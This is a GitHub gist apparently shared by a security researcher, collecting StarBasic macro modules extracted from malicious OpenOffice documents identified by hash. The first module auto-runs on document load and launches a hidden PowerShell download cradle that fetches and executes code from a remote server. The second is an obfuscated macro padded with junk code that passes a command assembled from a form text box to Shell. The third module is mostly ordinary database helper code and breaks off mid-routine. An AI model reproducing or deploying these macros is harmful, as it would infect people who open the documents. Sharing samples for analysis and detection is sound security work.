Skip to content

Instantly share code, notes, and snippets.

@JohnLaTwC
Created February 7, 2019 17:22
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnLaTwC/0d03e60b04ee4f370bb45e4c94331e8f to your computer and use it in GitHub Desktop.
Save JohnLaTwC/0d03e60b04ee4f370bb45e4c94331e8f to your computer and use it in GitHub Desktop.
StarBasic macro Malware (Uploaded by @JohnLaTwC)
## Uploaded by @JohnLaTwC
25b4214da1189fd30d3de7c538aa8b606f22c79e50444e5733fb1c6d23d71fbe.unzip\Basic\Standard\Module1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
Sub OnLoad
Dim os as string
os = GetOS
If os = &quot;windows&quot; OR os = &quot;osx&quot; OR os = &quot;linux&quot; Then
Exploit
end If
End Sub
Sub Exploit
Shell(&quot;cmd.exe /C &quot;&quot;powershell.exe -nop -w hidden -c $e=new-object net.webclient;$e.proxy=[Net.WebRequest]::GetSystemWebProxy();$e.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $e.downloadstring(&#39;http://192.168.0.7:8080/WGTx5dF&#39;);&quot;&quot;&quot;)
End Sub
Function GetOS() as string
select case getGUIType
case 1:
GetOS = &quot;windows&quot;
case 3:
GetOS = &quot;osx&quot;
case 4:
GetOS = &quot;linux&quot;
end select
End Function
Function GetExtName() as string
select case GetOS
case &quot;windows&quot;
GetFileName = &quot;exe&quot;
case else
GetFileName = &quot;bin&quot;
end select
End Function
</script:module>
322f314102f67a16587ab48a0f75dfaf27e4b044ffdc3b88578351c05b4f39db.unzip\Basic\Project\iLPVmbqDzOp.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="iLPVmbqDzOp" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Function iboRNoNsG()
On Error Resume Next
Set AFjiWZQIjriYNNikdqcDSC = qHuNmFttzWFqdloAsi
Select Case raBcPGFlRlpEWzl
Case 294919323
cMdCmzkCIWAwppjZNLt = fiGhUbIIRjtssNYjACFcQZ
kEmcvGfImrDvwFv = 220358850
pckYdIGbRCYLFQZF = WdizMBmbGApSZbFVun
Case 258373053
iGwjAdEGzjadpciSzLdbwz = CByte(HQJsaTpLdmQnQhBwiz)
dZZLcztnViJLqlkoPqld = ChrW(HVzrYoSkzMviSTwhEhuhfT)
UaaCfsmHwTrWEcUDJaCY = Log(OhXRnHKJrvHntdRwlm)
End Select
Set wsKhUqcZSBorbbjERJz = zzSofYEWQQaFPPrzIiHmWKU
Select Case zWAKkREMldaAZWCvlGJ
Case 17379138
jbLjlviCNXnduoIXulw = OUmprYljLAPBRwQu
bzVWJXGnXfitYrVKrLOpWs = 83319210
CrNHmLvXOiTldpEz = BTtDmnJuqamCESimLTSK
Case 332833921
MjKfpYjjCGRJVZ = CByte(GQEENvlIVJQkwSVmmh)
GJtHzkLKXjkvzJ = ChrW(EDNGlGbboVYnkOjTib)
SJNJGTCkNckNTafNSZ = Log(wtfiElZwavrMGTbrKruG)
End Select
Set fFoismXXvAtIjHsnqNh = hYNTThqpWGRwhBS
Select Case iFrYbfJXuBiJXiFGNzrHsVLK
Case 317819470
BojvahptElWIiCPpYSChR = AKkkKLGNtjcsiUowazTiiT
ESprDwsIPRNoYLqXimrrq = 209838471
YuAarFNnJhafRUTDQAYNb = jQnkaprnbtZhQzCWB
Case 20397087
dDGzfYCLiaqRSK = CByte(NknHiYvVFhGkEVB)
zVLwMZSHLYiJNkbGWIjRitY = ChrW(hiBQYozpjfrwGMuoRfwG)
mIUFANvmkMGwhQiXCiXaoch = Log(fzKNvzCzSjvZhKYaBDwTkzY)
End Select
Set bOsfIZbmvVhHJfor = FoAIYRNAlpkrAZYOvi
Select Case kwsaVSLkNdNCsWTbFmEDzifW
Case 233901892
vvwJtOwpHVNOfpMjAWYnsV = zSbqfBGTVqfXQnDkwGDO
NrGPrQdIwwzaOwrSYRnACrXA = 118676981
szmajpGijaUbnldKXuhwCpMS = pQOuWUGzvXjWXPIUfOR
Case 326234653
dBXsTdSVtDlTArZsnNFNdsOz = CByte(AiZcWauUcMOqCDrnbCTuDX)
jcsBLjTkmaETwtsXdqw = ChrW(fKBlKOaBqvCkcHqAiZ)
lJbbQzjstjiqEEzrYaGrz = Log(RurXUqrDstEHNOE)
End Select
Set LKaVabLaWnbGTdMR = ZokMzDlrTjFjHlaFZUEiJAn
Select Case ENSwjLHnpqziiALGpiHsGq
Case 103995649
BBuJIikYBwHllo = HbStQlrWZIwsfsvf
wQvfQwfGFajjsZUBU = 339968824
nwwQJiVAKqFfGStnV = frcnmLKLnjidqLtisRzzmBv
Case 331568220
QzuaQwlzIoIoAJnFwr = CByte(RjzumcaboWGdwiSWMPlWhw)
hWkqrIMtoKGjoREHzqXz = ChrW(CLMKinapMVGVCRYCmjTc)
STpzdEHHnjKzBfKYfJUl = Log(bpzLmAjFLGDUAk)
End Select
Set hEdatNjaNisfwPo = wqucnUMaDpimwFpIZVrCBaB
Select Case UsrHYpDkPwmXYAR
Case 80264104
DXEjuiHokGcXlpYooHvdFBN = uXzSRjZEfKwDzWaNkSojb
dIOjjsWimBJSoXjo = 151314819
jYsarVqSjhtmNd = htoEiAjhwYwtfhDh
Case 313382963
nDDUCRtsRMopAofIHdrkoAzq = CByte(CvbLkdAzqZaGNqXLpjUtHYH)
WaZpLHnENYAWRhhj = ChrW(rJPFBtnUYwQiwninOoJDLm)
mVtoqBtIClFPOsHUjmVmI = Log(ZQkWiDsXfcFZdjIFwS)
End Select
Set fMsSHkCsdTUSjKwn = djpoPjqtRwuwTPbruIBHzz
Select Case rjiVJirjJcuJQIYPjB
Case 164713159
lHtKEsaoBzjniOwFkKhOZO = WYGLiWsVFaIjjpURQDChM
HiBKTiVUKQWWXlzjsSJbaMVf = 94173982
QtQLXhYaQbKYDNzkP = MNSjTjLjYkVuJWwDOcEzspz
Case 318181226
WWUPvbpwcTBwhZjznI = CByte(FWRocAzXjQzWPVOzNrUdIj)
hCuEhCYzFhJrwEisPvDJjczm = ChrW(SbTISifZYklhvRVHRuoF)
QtizFhEWREFIcObFrmCd = Log(ZUwKUdiBOiIjzCioI)
End Select
Set BamsJHPErMjsqkq = DqBkhaMDRrXuLzhFPRsoAO
Select Case GYaKQSzjzwXLifwZbNiaSj
Case 136166071
tfbcZrCppBvMHQvlUHYwnmw = SrRaRnXWDhQlrUKHthW
kkSKRzFKLWFGjAJiabYBi = 164536398
azKtAzQEFQRqiZG = ThMKhbJFqKchSJU
Case 17047720
bsLHEFNuSzqPKbIT = CByte(EUSObwpFCpUjlwvOf)
jvAPcwPPbSpjjTN = ChrW(FAkwAtVCBPtKjDvAfTcXRosT)
MXWPWGBVlquiiHnawOMFEiXX = Log(BPrqiRIQwnVwnfJrouNAWz)
End Select
Set IqczdppcGRoHnoiJKf = vbwZljGzXIKqIjW
Select Case AADaVhXHsdaVCEF
Case 329479965
kauLRqTWrRTwafaQihIHE = OEpjIGkvSDMJYFbujJjDdP
KSzzETWwqczLqW = 239401911
NmwzQjRHVpowwXAJzAiOL = fbvHVjatkXzbWRh
Case 107757129
bBpiPiYzScoMqrWWGGUDJN = CByte(hbFQwXBjcjNDMVcQwXJDD)
hujdEPLMNdNQICKOZaQtLd = ChrW(oJBipXjzKhvuKkVSmXP)
kqwNaGizjmKaESrTDl = Log(ojdCiNIzdDHiVwHrzM)
End Select
Const PvJCIKR = 0
Set UcsFhEIiwoqAlri = ZzXkRBjdjWNwaXtAkLOw
Select Case wiOfiqNkoNzrrioo
Case 160369203
SsPZLqMIYuqQadmRdPIFjL = trIQEitFMLWwDwXWYS
SStYnUFaBYfTFGWVhCa = 52437728
fpiEEjiSFskmJtDzTVv = IrjjsQphcpUzKzndPTinWHvj
Case 308759328
vNSWOjiIRnIzLnrAqQXmb = CByte(FZjzmIcBvzlLUbOG)
nTChzVRHvvVQfJIGlHt = ChrW(PuWjQrJMATQmkojTYdGESr)
MGkQqdFjTVTMtwWQHMFHcfj = Log(qZohHBoUXCKZjbSivjwQ)
End Select
Set CuXIijSnAkFbRw = XXwDoKiWtjOkqACJuIirco
Select Case DkzaihZTlzSQQiznrUXdb
Case 104594698
bnzaLTnHNimuSqkzoTMdnYkm = uUnXFLInlVnkHOAwpFhd
jzHUiKOmLDDLvRwAkIXiH = 218798861
zPhFMfzSCIvNXfDWAt = aSjYLzCwFzJzcz
Case 184904213
EBECHOkADADaUhlW = CByte(FHCNqVIJhsVtISNvVwUwr)
MhjVKtbdXLmOWsZwNfvsZVP = ChrW(uhpfwjRatLuUdVK)
iDUKGtwVVYkoBwUqS = Log(adDwfouMVKzETsUjKWB)
End Select
Set kNBuZvDKXuCFVSkMliiNKMp = zKdDAiEoFGUWTEvjws
Select Case qNHAKWlmOtYhXYfwORAKs
Case 278185363
APwOshmCPSczIqKTj = rpujZwzoHhPwirzzG
MItFcrJOvZXFEwUvBBUTp = 8935426
DZEnQklzIjYHXUmMC = KBYRCdQdmpwfmvKspf
Case 159645041
siKaOVfrwbPoRw = CByte(zrmXbWmzvAdzdwfiGozf)
rwCjwZhLaKNqQLADIziF = ChrW(OZkYBuRwIATRwItjrcwFl)
qQGNlibwqPZzcYSHwf = Log(PRJuZRDHTQUmAvtjU)
End Select
Set zRiOoujAQwRYUzs = uljIjTZcOqbwrYhhqAiiSi
Select Case McDqvwPFYzqEjGqWirBz
Case 327185486
iIrRkiTSKTQGWjjdii = kDABUAaAiAqRihtuuwiNjmFn
najKpANXzMPhHXQJip = 120702312
BlYdlmiAQSwzNijarq = zcufUdMnbNDwznTVBBFYDV
Case 87360150
jORTdqpSsASrHGD = CByte(ZwDmMTBKuIfZlR)
dPnwGLsKkXlGwUbNvzFwE = ChrW(atMNHZULQjaPpcTIz)
joTPbNEpSujbjSjLotltET = Log(YHEjhfztmAQSPzLSzIRGZb)
End Select
Set QECwSlHoYiOkGRR = zkTwAjzqSHYIFhj
Select Case kuAHbfTwiYrSCUShkDUf
Case 197323942
FhHMdLNwirzlzMRJiTRUT = rfnzprYBMBzDoTAPBHl
pAURUGPaVANJNdpcYjWW = 175505117
fwmwXzJSSJjnnrKWcibz = LnppLdXqUlOFIUXfYiRR
Case 17551046
DaaqwRCDnvdATIwGMUlcw = CByte(UhiWmrDAJjddkPPVfGo)
wTcHAPiSWzfajfFsL = ChrW(iKzmlwXqYhrqofnhZBF)
VXIldLBDtEJWJEbdQL = Log(fkKqBbfJAmCFEnoFGCOIZ)
End Select
RifEW = bAMYOAWAq.TextBox1 + mUJJE + fURjfQoW + VhviXIh + ZDipzpI + vIApiRX + wksbP + hoVLZ + nbRwwfT + vKbufj + KkGAhHO + mwEQtOjf + QUbHhm
Set kBvXcQstiHEjSBCVWGS = zioloJHvFjKNfHpDtKKW
Select Case dJZsCSMJXnHSCaGM
Case 66658954
TIwouwqELLwbMvwRTUOsm = vmiwDudjjrjbrOOpOcCwHAK
bLWlHlzRzcMKGztvaicHskEi = 15662787
FmqnjucmUrYsZwtSiOBE = RjGXcYDDqGoidfLaJtSiT
Case 190112752
XiFdOZFpjzuoCk = CByte(GWZjikjJwThsVVjWP)
hjoXvodkRIliqJqtmvJkwQ = ChrW(ZIJhhkUzbfAVAajbkFtTbY)
dYCbjnNipQwPOlHw = Log(zKJDpnpTDUYfFz)
End Select
Set pnjNOccOkfdJiXJ = SwAJsJLOGtdAsUXpiqDOj
Select Case KInwGzJjbwzqznQ
Case 116619280
jbVHUwcVQHnaoTvEM = sWuCOEWRfACUkYRcXmLwpK
cqpVIniElnBYvUdN = 107148749
DTbTvXPJLwItNwhLRLYjN = AwQhizVHtZvNmqjIvSFz
Case 182244222
wsZFrjCRohXYSfCNoQnEC = CByte(zAJrbJQGdOCSzYIdImFbl)
pNYEGhdpLXfNvYvzH = ChrW(BhDJWAfiFLHBwawjLvSXDid)
CimmdjhIiMaDKfrYYbbShJ = Log(FQLNAhkqSEQGrNtBWdz)
End Select
Set CWPMwKYFGhEBDDiC = NpmpmJdoXEZLNKKXTHMN
Select Case RFIIZNKfOwthwrRH
Case 165561409
NlXZFztsXtdjwWpTv = djMvSJIGfiPTtPurwbosA
PhqQBfCXsfvhdsDS = 124371280
QwTOcEANoFXNiDkTQ = ECIdEImkXLlBnjIabBqB
Case 33405359
PnqwziAswJcYNQGnuLcrjo = CByte(mRrEDbjdPZRmUmHIHjf)
bZOSrUoGfYNGaLDiI = ChrW(zQNjMzvilAnCUIBaAND)
MjnczqMLLJjcAhmOAvM = Log(XNjnTdEFEALqbkNOc)
End Select
Set UsFcWKYEQjbjHYN = AaFmwktEsDsPUsZuR
Select Case YAwQoZYwQanuWp
Case 107936686
quMXJjwAjSSIjXGjRFzNSj = fNzUSRzjCzfBihtspBvhVH
OsTGcRqDWHIhJMOfj = 250089700
PJEVcwXNKLWCQXzicwKVPM = JuWAjfaWMvjsGKWrHEDjrzFs
Case 60291275
dmjYQWCMubFwohjp = CByte(HjfqYFGDQLjEKpir)
BnpniNptPumJQWwCozL = ChrW(VFjaVzKWIkmbGQfwzXcT)
zILUtApjCVrSOCwHPRiDTl = Log(ILCAqACRUsnYzVFbzUmF)
End Select
Set vWMavmlsYSBEqYAblUwB = irCKPSGICczznsdXsobiM
Select Case woHKXCDwQLhvRiKQfUi
Case 237918457
pBGDfXEtfVTXEsOCFu = EGLoQsbwNcJHDc
ImBGrfzDkpOXNl = 316056137
aaafPiNqLEYqQWNP = AkbBwCYFCawBUONROihczoi
Case 167424946
vmGImOcwcMBUMcXC = CByte(MDOoqqLZBnjnwMFCqDP)
wQMWDsBLwCGKaXbbL = ChrW(EwuikavLiAwSVZHjdw)
rlwpzdwhWMakdqUzTXNflbr = Log(APihhCqtikTkFHuF)
End Select
IsNjokFwP = Array(LdCJqzz, zEXaaiwl, piihf, Interaction _
_
_
_
_
_
_
_
.Shell(RifEW, PvJCIKR), ODKmGL)
Set EEzwRXYYWmMJEWBYssiXq = qvQqmUzRkiwBrUaWVjZjQzv
Select Case mwkucNrSrLNCfakD
Case 164427916
BiLCijwWXzzJbtz = DqjFoXnfKjHYqu
VHMwNAkREvGqrUhjTCbXtTTQ = 198884234
jswYafdzcCPzmDTYfJijvKcz = VPWFBowRRUrTfVaNrsfTVQ
Case 154585711
UoJhzAVPAkEQGu = CByte(NTfUjbFzoHTDSzdSFrT)
NiOURzcSvQKGzSRzqvobP = ChrW(UZizCSWRwYmKMiFLCjzmDY)
MFAfdcKDsUYKoqUwJvdRlUnF = Log(uisEbdlwcRrCntpoUupoY)
End Select
Set hIWSLXKDtTJPXj = LYwrvwzZZqtbAVOotG
Select Case jHouwEiWDXIazlk
Case 61543525
vhsDijzbSvJhffPIQCLXiC = QbvCQPvqQMYtMODwXrSdIU
YrtShiYmKsubcnhjMWFtVG = 253821352
tNEnfLYfwmWKXz = HraNASnaLqKGHCaTS
Case 33008738
YTilGzUOipQWJOHwCvsmkG = CByte(twVFRcVSDFhYudGTOjDIku)
ArzEYYaSFRhlokuDmI = ChrW(NRcpNVwbdGhzBzcUNR)
ztdmbGNrRjUcRzNjDYB = Log(jczwMYUflLPhlNLdkiAjzd)
End Select
Set VrDUHsvCvchHfqEmciZQWjJ = HlMLoTKFFwloJYQow
Select Case CfjWmXAslAzpUlhlNWfjObSb
Case 13529571
FPcDOkSYhihkwpLviJFPb = GXKtIOjaMIUDSkPhmOXwEDEd
qYStJVmHFIFtUcDoGSZ = 109279025
WajAXqsfvDThVSqRhDmivNb = nRmTHzliMdTzmsmi
Case 301877471
JFlMzJNXYOnizJzVNFEY = CByte(zSoUswsfpRHoSDWYbSc)
jYWrddKwQfjaVFL = ChrW(wrHLVsjzfuhGdzlnbSnYvz)
OouPKkjSNribjLRkrpYLjvD = Log(SttzDRmrzBsXbdZNzb)
End Select
End Function
</script:module>5009ea744e10aec93c1993e6a2c5003351c6ec7391b3327234b4ba722a90814f.unzip\Basic\AndrewBase\Module1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
Option Explicit
Option Compatible
Dim oDummyFormDef
Sub BlahBlahBlah
Dim oData()
Dim i As Integer
Dim s$
oData() = ThisComponent.getArgs()
On Error Resume Next
For i = LBound(oData()) To UBound(oData())
s = s &amp; &quot;i=&quot; &amp; i &amp; &quot; ==&gt; &quot; &amp; oData(i).Name &amp; &quot; ==&gt; &quot;
s = s &amp; CStr(oData(i).Value)
s = s &amp; CHR$(10)
Next
MsgBox s
&apos;Inspect(oData(0))
End Sub
Sub OpenCreateDbWizard
Dim sURL$
Dim oDoc
sURL = &quot;private:factory/sdatabase?Interactive&quot;
oDoc = StarDesktop.loadComponentFromURL(sURL, &quot;_blank&quot;, 0, Array())
End Sub
Sub ExtractBinaryFile2(sPathURL$, sDBURL$)
Dim sFileName$ &apos;File to save from the database.
Dim oDB &apos;Database object.
Dim oStream
Dim oSimpleFileAccess
Dim oBaseContext
Dim oStatement
Dim oResult
Dim sSQL$
Dim oCon
Dim sURL$
Dim s$
If NOT FileExists(sDBURL) Then
Print &quot;The DB does not exist, sorry&quot;
Exit Sub
End If
oBaseContext = CreateUnoService(&quot;com.sun.star.sdb.DatabaseContext&quot;)
oDB = oBaseContext.getByName(sDBURL)
oCon = oDB.getConnection(&quot;&quot;, &quot;&quot;)
oStatement = oCon.createStatement()
sSQL = &quot;SELECT NAME FROM BINDATA ORDER BY NAME&quot;
oResult = oStatement.executeQuery(sSQL)
sFileName = SelItemFromResult(oResult, 1, 100)
If sFileName = &quot;&quot; Then
oCon.close()
Exit Sub
End If
sSQL = &quot;SELECT DATA FROM BINDATA WHERE NAME=&apos;&quot; &amp; sFileName &amp; &quot;&apos;&quot;
oResult = oStatement.executeQuery(sSQL)
If Not IsNull(oResult) Then
oResult.next()
REM I could get a byte array, but this is easier.
oStream = oResult.getBinaryStream(1)
If oResult.wasNull() Then
Print &quot;The image was NULL&quot;
Else
Dim oProp(2) As New com.sun.star.beans.PropertyValue
oProp(0).Name = &quot;InputStream&quot; : oProp(0).Value = oStream
oProp(1).Name = &quot;ReadOnly&quot; : oProp(1).Value = True
oProp(2).Name = &quot;FilterName&quot; : oProp(2).Value = &quot;writer8&quot;
Print &quot;Ready to load document&quot;
StarDesktop.LoadComponentFromUrl(&quot;private:stream&quot;, &quot;_blank&quot;, 0, oProp())
Print &quot;Just loaded the document&quot;
&apos;s = &quot;com.sun.star.ucb.SimpleFileAccess&quot;
&apos;oSimpleFileAccess = createUnoService(s)
&apos;sURL = sPathURL &amp; sFileName
&apos;If FileExists(sURL) Then
&apos; sURL = ChooseAFile$(GraphicFilters(), False, sURL)
&apos;End If
&apos;If sURL &lt;&gt; &quot;&quot; Then
&apos; oSimpleFileAccess.writeFile(sURL, oStream)
&apos; Print &quot;Wrote &quot; &amp; sURL
&apos;End If
End If
End If
oCon.close()
End Sub
Sub Main
&apos;CreateBinaryDB()
&apos;CallOpenFormInDB()
CallAddBinForm()
End Sub
REM Use &quot;Option Compatible&quot;, or you can not use a default argument.
Sub CreateBinaryDB(Optional dbURL$ = &quot;&quot;, Optional bVerbose = False)
Dim oDBContext &apos;DatabaseContext service.
Dim oDB &apos;Database data source.
REM No URL Specified, get one.
If dbURL = &quot;&quot; Then dbURL = ChooseAFile(OOoBaseFilters(), False)
REM Still No URL Specified, exit.
If dbURL = &quot;&quot; Then Exit Sub
If FileExists(dbURL) Then
If bVerbose Then Print &quot;The file already exists.&quot;
Else
If bVerbose Then Print &quot;Creating &quot; &amp; dbURL
oDBContext = createUnoService( &quot;com.sun.star.sdb.DatabaseContext&quot; )
oDB = oDBContext.createInstance()
oDB.URL = &quot;sdbc:embedded:hsqldb&quot;
oDB.DatabaseDocument.storeAsURL(dbURL, Array())
End If
End Sub
REM Create the database specified by dbURL. If it
REM does not exist, then it is created.
REM If bForceNew is True, then an existing table is deleted first.
REM If bVerbose is True, progress messages are printed.
Sub CreateBinaryTables(dbURL As String, _
Optional bForceNew = False, _
Optional bVerbose = False)
Dim sTableName$ &apos;The name of the table to creat.
Dim oTable &apos;A table in the database.
Dim oTables &apos;Tables in the document
Dim oTableDescriptor &apos;Defines a table and how it looks.
Dim oCols &apos;The columns for a table.
Dim oCol &apos;A single column descriptor.
Dim oCon &apos;Database connection.
Dim oBaseContext &apos;Database context service.
Dim oDB &apos;Database data source.
REM If the database does not exist, then create it.
If NOT FileExists(dbURL) Then
CreateBinaryDB(dbURL, bVerbose)
End If
REM Use the DatabaseContext to get a reference to the database.
oBaseContext = CreateUnoService(&quot;com.sun.star.sdb.DatabaseContext&quot;)
oDB = oBaseContext.getByName(dbURL)
&apos;Inspect(oDB)
&apos;Exit Sub
oCon = oDB.getConnection(&quot;&quot;, &quot;&quot;)
oTables = oCon.getTables()
sTableName$ = &quot;BINDATA&quot;
If oTables.hasByName(sTableName$) Then
If bForceNew Then
If bVerbose Then Print &quot;Deleting table &quot; &amp; sTableName
oTables.dropByName(sTableName)
oDB.DatabaseDocument.store()
&apos;oCon.close()
&apos;Exit Sub
Else
If bVerbose Then Print &quot;Table &quot; &amp; sTableName &amp; &quot; already exists!&quot;
oCon.close()
Exit Sub
End If
End If
REM For now, this should always be True
If NOT oTables.hasByName(sTableName$) Then
oTableDescriptor = oTables.createDataDescriptor()
oTableDescriptor.Name = sTableName$
oCols = oTableDescriptor.getColumns()
oCol = oCols.createDataDescriptor()
oCol.Name = &quot;ID&quot;
oCol.Type = com.sun.star.sdbc.DataType.INTEGER
oCol.IsNullable = com.sun.star.sdbc.ColumnValue.NO_NULLS
oCol.IsAutoIncrement = True
oCol.Precision = 10
oCol.Description = &quot;Primary Key&quot;
oCols.appendByDescriptor(oCol)
oCol.Name = &quot;NAME&quot;
oCol.Type = com.sun.star.sdbc.DataType.VARCHAR
oCol.Description = &quot;Filename&quot;
oCol.Precision = 255
oCol.IsAutoIncrement = False
oCols.appendByDescriptor(oCol)
oCol.Name = &quot;DATA&quot;
oCol.Type = com.sun.star.sdbc.DataType.LONGVARBINARY
oCol.Precision = 2147483647
oCol.IsNullable = com.sun.star.sdbc.ColumnValue.NULLABLE
oCol.Description = &quot;Binary Data&quot;
oCols.appendByDescriptor(oCol)
oTables.appendByDescriptor(oTableDescriptor)
End If
REM Do not dispose the database context or you will NOT be able to
REM get it back without restarting OpenOffice.org.
REM Store the associated document to persist the changes to disk.
oDB.DatabaseDocument.store()
oCon.close()
If bVerbose Then Print &quot;Table &quot; &amp; sTableName &amp; &quot; created!&quot;
End Sub
REM Create the database specified by dbURL. If it
REM does not exist, then it is created.
REM If bForceNew is True, then an existing table is deleted first.
REM If bVerbose is True, progress messages are printed.
Sub CreateBinaryTablesUseSQL(dbURL As String, _
Optional bForceNew = False, _
Optional bVerbose = False)
Dim sTableName$ &apos;The name of the table to creat.
Dim oTable &apos;A table in the database.
Dim oTables &apos;Tables in the document
Dim oTableDescriptor &apos;Defines a table and how it looks.
Dim oCols &apos;The columns for a table.
Dim oCol &apos;A single column descriptor.
Dim oCon &apos;Database connection.
Dim oBaseContext &apos;Database context service.
Dim oDB &apos;Database data source.
Dim oResult &apos;Restul of executing an SQL statement.
Dim nCount As Long &apos;Counting variable.
Dim oStmt
Dim sSql$
REM If the database does not exist, then create it.
If NOT FileExists(dbURL) Then
CreateBinaryDB(dbURL, bVerbose)
End If
REM Use the DatabaseContext to get a reference to the database.
oBaseContext = CreateUnoService(&quot;com.sun.star.sdb.DatabaseContext&quot;)
oDB = oBaseContext.getByName(dbURL)
oCon = oDB.getConnection(&quot;&quot;, &quot;&quot;)
oStmt = oCon.createStatement()
sTableName$ = &quot;BINDATA&quot;
REM First, check to see if the table exists!
sSql = &quot;select count(*) from INFORMATION_SCHEMA.SYSTEM_TABLES &quot; &amp; _
&quot;where TABLE_NAME=&apos;&quot; &amp; sTableName &amp; &quot;&apos; &quot; &amp; _
&quot;AND TABLE_SCHEM=&apos;PUBLIC&apos;&quot;
nCount = 0
oResult = oStmt.executeQuery(sSql)
If NOT IsNull(oResult) AND NOT IsEmpty(oResult) Then
oResult.Next()
nCount = oResult.getLong(1)
End If
If nCount &lt;&gt; 0 Then
If bForceNew Then
If bVerbose Then Print &quot;Deleting table &quot; &amp; sTableName
REM The default behavior is to use RESTRICT rather than CASCADE.
REM RESTRICT prevents the deletion if other things depend on
REM this table.
sSql = &quot;DROP TABLE &quot; &amp; _
DBQuoteName(sTablename, oCon) &amp; _
&quot;IF EXISTS CASCADE&quot;
oStmt.executeQuery(sSql)
RefreshTables(dbURL$, oCon)
oCon.close()
Exit Sub
Else
If bVerbose Then Print &quot;Table &quot; &amp; sTableName &amp; &quot; already exists!&quot;
oCon.close()
Exit Sub
End If
End If
REM I did not quote the field names because I know that
REM they are all uppercase with nothing special about them.
sSql = &quot;CREATE TABLE &quot; &amp; _
DBQuoteName(sTableName, oCon) &amp; _
&quot;(ID INTEGER NOT NULL IDENTITY PRIMARY KEY, &quot; &amp; _
&quot; NAME VARCHAR(255) NULL, &quot; &amp; _
&quot; DATA LONGVARBINARY NULL)&quot;
oStmt.executeQuery(sSql)
If bVerbose Then Print &quot;Created table in &quot; &amp; dbURL
RefreshTables(dbURL$, oCon)
REM Do not dispose the database context or you will NOT be able to
REM get it back without restarting OpenOffice.org.
REM Store the associated document to persist the changes to disk.
oDB.DatabaseDocument.store()
oCon.close()
If bVerbose Then Print &quot;Table &quot; &amp; sTableName &amp; &quot; created!&quot;
End Sub
REM Using SQL DDL commands to modify the table structure bypasses
REM the normal OOo API, which does not give OOo an opportunity to
REM notice that the table structure has changed. Tell OOo to
REM refresh the table view.
Sub RefreshTables(sURL$, oCon)
Dim oDoc &apos;Document to refresh.
Dim oDisp &apos;Dispatch helper.
Dim oFrame &apos;Current frame.
REM This should be the same as
REM oCon.getTables().refresh()
REM but it is not...
oDoc = FindComponentWithURL(sURL, False)
If NOT IsNULL(oDOC) AND NOT IsEmpty(oDoc) Then
oDisp = createUnoService(&quot;com.sun.star.frame.DispatchHelper&quot;)
oFrame = oDoc.getCurrentController().getFrame()
oDisp.executeDispatch(oFrame,&quot;.uno:DBRefreshTables&quot;, &quot;&quot;, 0, Array())
End If
End Sub
REM sDir - Path, as a URL, to the database file.
REM sFile - File name without the file extension; also the table name.
REM sExt - File extension, probably csv.
Sub ReadCSVData(sDir$, sFile$, sExt$)
Dim oManager &apos;Connection driver manager.
Dim oDriver &apos;An indiviual driver.
Dim sURL$ &apos;DB URL including &quot;sdbc:flat:...&quot;
Dim oCon &apos;Connection object.
Dim sSQL$ &apos;SQL that is executed.
Dim oResult &apos;Result from an SQL statement.
Dim oStatement &apos;A created statement that can execute SQL.
Dim oDoc &apos;Calc document that will contain the presentation data.
Dim oData1() &apos;Generic data variable.
Dim oParms() As New com.sun.star.beans.PropertyValue
sFile = sFile
sExt = sExt
sURL = &quot;sdbc:flat:&quot; &amp; sDir &amp; sFile &amp; &quot;.&quot; &amp; sExt
REM Obtain a driver that supports the specified URL
oManager = CreateUnoService(&quot;com.sun.star.sdbc.DriverManager&quot;)
oDriver = oManager.getDriverByURL(sURL)
If IsNull(oDriver) Then
Print &quot;Sorry, no driver available for a &quot; &amp; sExt &amp; &quot; file&quot;
Exit Sub
End If
REM Assume that there is a header line!
AppendProperty(oParms(), &quot;Extension&quot;, sExt)
AppendProperty(oParms(), &quot;HeaderLine&quot;, True)
AppendProperty(oParms(), &quot;FieldDelimiter&quot;, &quot;,&quot;)
AppendProperty(oParms(), &quot;StringDelimiter&quot;, &quot;&quot;&quot;&quot;)
AppendProperty(oParms(), &quot;DecimalDelimiter&quot;, &quot;.&quot;)
AppendProperty(oParms(), &quot;ThousandDelimiter&quot;, &quot;,&quot;)
oCon = oManager.getConnectionWithInfo(sURL, oParms())
oDoc = InspectMetaData(oCon.getMetaData())
oStatement = oCon.CreateStatement()
sSQL = &quot;SELECT * FROM &quot; &amp; DBQuoteName(sFile, oCon)
oResult = oStatement.executeQuery(sSQL)
ResultSetToData(oResult, oDoc, &quot;SELECT *&quot;, oData1())
AppendDataToCalcDoc(oDoc, oData1())
oCon.close()
End Sub
Sub ReadFixedWidthFile()
Dim sFileName$ &apos;The base file name.
Dim n As Integer &apos;The file number.
Dim i As Integer &apos;General index variable.
Dim s As String &apos;Temporary string.
Dim sURLInitial$ &apos;URL of the CSV file.
Dim sURLCalc$ &apos;URL of the Calc document.
Dim sOut() &apos;Output text initially written to the CSV file.
Dim oManager &apos;Connection driver manager.
Dim oCon &apos;Connection object.
Dim sSQL$ &apos;SQL that is executed.
Dim oResult &apos;Result from an SQL statement.
Dim oStatement &apos;A created statement that can execute SQL.
Dim oDoc &apos;Calc document used to read the fixed width data.
Dim oParms() As New com.sun.star.beans.PropertyValue
REM First, create the following text file:
REM Date Name Number
REM 01/01/05Danny Bot 17
REM 12/25/99Shelly Girt13
REM 03/13/65Fred Krank 7
sOut() = Array(&quot;Date Name Number&quot;, _
&quot;01/01/05Danny Bot 17&quot;, _
&quot;12/25/99Shelly Girt13&quot;, _
&quot;03/13/65Fred Krank 7 &quot;)
sFileName = &quot;delme1&quot;
sURLInitial = GetSourceCodeDir() &amp; sFileName &amp; &quot;.csv&quot;
n = FreeFile() &apos;Next free file number
